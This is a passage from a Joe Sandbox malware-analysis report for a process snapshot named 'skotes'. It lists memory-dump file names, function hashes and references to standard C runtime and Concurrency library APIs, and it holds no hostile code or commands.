Associated: 00000007.00000002.3346954464.00000000004E5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346979555.00000000004E6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347005401.00000000004E7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347029317.00000000004E8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347051966.00000000004E9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347078157.00000000004F0000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347103451.00000000004F1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347130124.00000000004F4000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347156077.00000000004FF000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347181957.0000000000501000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347207048.0000000000502000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347232628.0000000000509000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347257214.0000000000510000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347284510.0000000000512000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347309188.0000000000513000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347336465.000000000051B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347365010.000000000052E000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347392057.000000000052F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347421451.000000000053C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347448714.000000000053E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347448714.000000000055D000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347508172.0000000000573000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347533733.0000000000575000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347558825.0000000000589000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347586242.000000000058A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347611531.000000000058B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347638741.000000000058F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347662543.0000000000591000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347689148.000000000059F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347713834.00000000005A0000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_290000_skotes.jbxd

Yara matches

Similarity

API ID: ___scrt_fastfail
String ID: SleepConditionVariableCS$WakeAllConditionVariable$api-ms-win-core-synch-l1-2-0.dll$kernel32.dll
API String ID: 2964418898-3242537097
Opcode ID: 74c4012a54239199c70f0568c82ba8f4b5c6036d00d31c36d9ec30c75a27d75a
Instruction ID: 5bf341336f555f073e374ab01905b6acf2f6c17636e27bf65c26b3b1e1120ff2
Opcode Fuzzy Hash: 74c4012a54239199c70f0568c82ba8f4b5c6036d00d31c36d9ec30c75a27d75a
Instruction Fuzzy Hash: AB01A771AE6B22ABF6317F716E05EBF61CC8B43B98F451531AA05E3540DE60D821C461

Function 002BE8DD Relevance: 7.6, APIs: 5, Instructions: 117COMMON

Download Yara Rule

APIs

Concurrency::location::_Assign.LIBCMT ref: 002BE91E
Concurrency::details::ScheduleGroupSegmentBase::AddRunnableContext.LIBCONCRT ref: 002BE926
Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 002BE950
Concurrency::details::ScheduleGroupSegmentBase::ReleaseInternalContext.LIBCMT ref: 002BE959
Concurrency::details::VirtualProcessor::MakeAvailable.LIBCONCRT ref: 002BE9DC

Memory Dump Source

Source File: 00000007.00000002.3346122564.0000000000291000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00290000, based on PE: true

Associated: 00000007.00000002.3346080086.0000000000290000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346122564.00000000002F2000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346199484.00000000002F9000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346225916.00000000002FB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346254292.0000000000307000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346358573.0000000000458000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346385246.000000000045A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346413347.0000000000471000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346439552.0000000000474000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346464732.0000000000475000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346464732.000000000047D000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346515160.0000000000485000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346555662.0000000000486000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346580055.0000000000487000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346603645.0000000000488000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346633920.0000000000498000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346662951.0000000000499000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346692829.00000000004AB000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346715813.00000000004AD000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346740105.00000000004AE000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346777116.00000000004AF000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346801145.00000000004B7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346825669.00000000004C1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346854894.00000000004D7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346883931.00000000004D8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346906770.00000000004D9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346930102.00000000004DE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346954464.00000000004E5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346979555.00000000004E6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347005401.00000000004E7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347029317.00000000004E8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347051966.00000000004E9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347078157.00000000004F0000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347103451.00000000004F1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347130124.00000000004F4000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347156077.00000000004FF000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347181957.0000000000501000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347207048.0000000000502000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347232628.0000000000509000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347257214.0000000000510000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347284510.0000000000512000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347309188.0000000000513000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347336465.000000000051B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347365010.000000000052E000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347392057.000000000052F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347421451.000000000053C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347448714.000000000053E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347448714.000000000055D000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347508172.0000000000573000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347533733.0000000000575000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347558825.0000000000589000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347586242.000000000058A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347611531.000000000058B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347638741.000000000058F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347662543.0000000000591000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347689148.000000000059F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347713834.00000000005A0000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_290000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Context$Base::$GroupScheduleSegment$AssignAvailableConcurrency::location::_EventInternalMakeProcessor::ReleaseRunnableTraceVirtual
String ID:
API String ID: 512098550-0
Opcode ID: 45240d9bfa830cbbf62f0e2473c158faaba553a249424dd646a0c68e00d8affe
Instruction ID: 258afe84087f0c6b18869b59d61da206a7998c99ae37ef678486a823fd705d52
Opcode Fuzzy Hash: 45240d9bfa830cbbf62f0e2473c158faaba553a249424dd646a0c68e00d8affe
Instruction Fuzzy Hash: 9F416E75A10619AFCF09DF64C998AEDB7B6FF48350F018159E906AB390CB70AE51CF81

Function 002BD2B9 Relevance: 7.6, APIs: 5, Instructions: 97COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::ReferenceCountedQuickBitSet::InterlockedSet.LIBCONCRT ref: 002BD344
ListArray.LIBCONCRT ref: 002BD367
Concurrency::details::SchedulerBase::VirtualProcessorActive.LIBCONCRT ref: 002BD370
ListArray.LIBCONCRT ref: 002BD3A8
Concurrency::details::VirtualProcessor::MakeAvailable.LIBCONCRT ref: 002BD3B3

Memory Dump Source

Source File: 00000007.00000002.3346122564.0000000000291000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00290000, based on PE: true

Associated: 00000007.00000002.3346080086.0000000000290000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346122564.00000000002F2000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346199484.00000000002F9000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346225916.00000000002FB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346254292.0000000000307000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346358573.0000000000458000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346385246.000000000045A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346413347.0000000000471000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346439552.0000000000474000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346464732.0000000000475000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346464732.000000000047D000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346515160.0000000000485000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346555662.0000000000486000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346580055.0000000000487000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346603645.0000000000488000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346633920.0000000000498000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346662951.0000000000499000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346692829.00000000004AB000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346715813.00000000004AD000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346740105.00000000004AE000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346777116.00000000004AF000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346801145.00000000004B7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346825669.00000000004C1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346854894.00000000004D7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346883931.00000000004D8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346906770.00000000004D9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346930102.00000000004DE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346954464.00000000004E5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346979555.00000000004E6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347005401.00000000004E7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347029317.00000000004E8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347051966.00000000004E9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347078157.00000000004F0000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347103451.00000000004F1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347130124.00000000004F4000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347156077.00000000004FF000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347181957.0000000000501000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347207048.0000000000502000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347232628.0000000000509000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347257214.0000000000510000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347284510.0000000000512000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347309188.0000000000513000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347336465.000000000051B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347365010.000000000052E000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347392057.000000000052F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347421451.000000000053C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347448714.000000000053E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347448714.000000000055D000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347508172.0000000000573000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347533733.0000000000575000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347558825.0000000000589000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347586242.000000000058A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347611531.000000000058B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347638741.000000000058F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347662543.0000000000591000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347689148.000000000059F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347713834.00000000005A0000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_290000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$ArrayListVirtual$ActiveAvailableBase::CountedInterlockedMakeProcessorProcessor::QuickReferenceSchedulerSet::
String ID:
API String ID: 4212520697-0
Opcode ID: bf3f9abb0dc27451723f0a8153139a0534a14048fb4b4987c411c8417884b70b
Instruction ID: cea82f3e4b283f6dee94079e7a92c70c660acf6b937372a5c942776dc20aa56c
Opcode Fuzzy Hash: bf3f9abb0dc27451723f0a8153139a0534a14048fb4b4987c411c8417884b70b
Instruction Fuzzy Hash: 8A31C135710210AFCB04EF54C884BEDB7E5AF88340F150099E80A9F352EB70AD51CF92

Function 002B86C9 Relevance: 7.6, APIs: 5, Instructions: 88COMMON

Download Yara Rule

APIs

_SpinWait.LIBCONCRT ref: 002B86EE

Part of subcall function 002AEAD0: _SpinWait.LIBCONCRT ref: 002AEAE8

Concurrency::details::ContextBase::ClearAliasTable.LIBCONCRT ref: 002B8702
Concurrency::details::_ReaderWriterLock::_AcquireWrite.LIBCONCRT ref: 002B8734
List.LIBCMT ref: 002B87B7
List.LIBCMT ref: 002B87C6

Memory Dump Source

Source File: 00000007.00000002.3346122564.0000000000291000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00290000, based on PE: true

Associated: 00000007.00000002.3346080086.0000000000290000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346122564.00000000002F2000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346199484.00000000002F9000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346225916.00000000002FB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346254292.0000000000307000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346358573.0000000000458000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346385246.000000000045A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346413347.0000000000471000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346439552.0000000000474000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346464732.0000000000475000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346464732.000000000047D000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346515160.0000000000485000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346555662.0000000000486000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346580055.0000000000487000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346603645.0000000000488000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346633920.0000000000498000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346662951.0000000000499000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346692829.00000000004AB000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346715813.00000000004AD000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346740105.00000000004AE000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346777116.00000000004AF000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346801145.00000000004B7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346825669.00000000004C1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346854894.00000000004D7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346883931.00000000004D8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346906770.00000000004D9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346930102.00000000004DE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346954464.00000000004E5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346979555.00000000004E6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347005401.00000000004E7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347029317.00000000004E8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347051966.00000000004E9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347078157.00000000004F0000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347103451.00000000004F1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347130124.00000000004F4000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347156077.00000000004FF000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347181957.0000000000501000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347207048.0000000000502000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347232628.0000000000509000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347257214.0000000000510000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347284510.0000000000512000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347309188.0000000000513000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347336465.000000000051B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347365010.000000000052E000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347392057.000000000052F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347421451.000000000053C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347448714.000000000053E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347448714.000000000055D000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347508172.0000000000573000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347533733.0000000000575000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347558825.0000000000589000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347586242.000000000058A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347611531.000000000058B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347638741.000000000058F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347662543.0000000000591000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347689148.000000000059F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347713834.00000000005A0000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_290000_skotes.jbxd

Yara matches

Similarity

API ID: ListSpinWait$AcquireAliasBase::ClearConcurrency::details::Concurrency::details::_ContextLock::_ReaderTableWriteWriter
String ID:
API String ID: 3281396844-0
Opcode ID: a09339f4b7a538e704e9ffefd32f4480886318f709f5ad0b99aa84b43dbe2994
Instruction ID: 89501a1a2ba54d467c96c96e85ad37dcdb05ae9b15ff19f63052f83862964ef4
Opcode Fuzzy Hash: a09339f4b7a538e704e9ffefd32f4480886318f709f5ad0b99aa84b43dbe2994
Instruction Fuzzy Hash: 0E31863AD21256DFCB10EFA4C5816EDFBB5BF05398F2800AAD44967642CF31A924DB90

Function 002D1ABC Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 279COMMONLIBRARYCODE

Download Yara Rule

APIs

__dosmaperr.LIBCMT ref: 002D1BD7
__dosmaperr.LIBCMT ref: 002D1BF6
__dosmaperr.LIBCMT ref: 002D1D9C

Strings

H, xrefs: 002D1D21

Memory Dump Source

Source File: 00000007.00000002.3346122564.0000000000291000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00290000, based on PE: true

Associated: 00000007.00000002.3346080086.0000000000290000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346122564.00000000002F2000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346199484.00000000002F9000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346225916.00000000002FB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346254292.0000000000307000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346358573.0000000000458000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346385246.000000000045A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346413347.0000000000471000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346439552.0000000000474000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346464732.0000000000475000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346464732.000000000047D000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346515160.0000000000485000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346555662.0000000000486000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346580055.0000000000487000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346603645.0000000000488000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346633920.0000000000498000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346662951.0000000000499000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346692829.00000000004AB000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346715813.00000000004AD000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346740105.00000000004AE000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346777116.00000000004AF000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346801145.00000000004B7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346825669.00000000004C1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346854894.00000000004D7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346883931.00000000004D8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346906770.00000000004D9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346930102.00000000004DE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346954464.00000000004E5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346979555.00000000004E6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347005401.00000000004E7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347029317.00000000004E8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347051966.00000000004E9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347078157.00000000004F0000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347103451.00000000004F1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347130124.00000000004F4000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347156077.00000000004FF000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347181957.0000000000501000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347207048.0000000000502000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347232628.0000000000509000.00000040.00000001.01000000.0000000A.sdmpDownload File
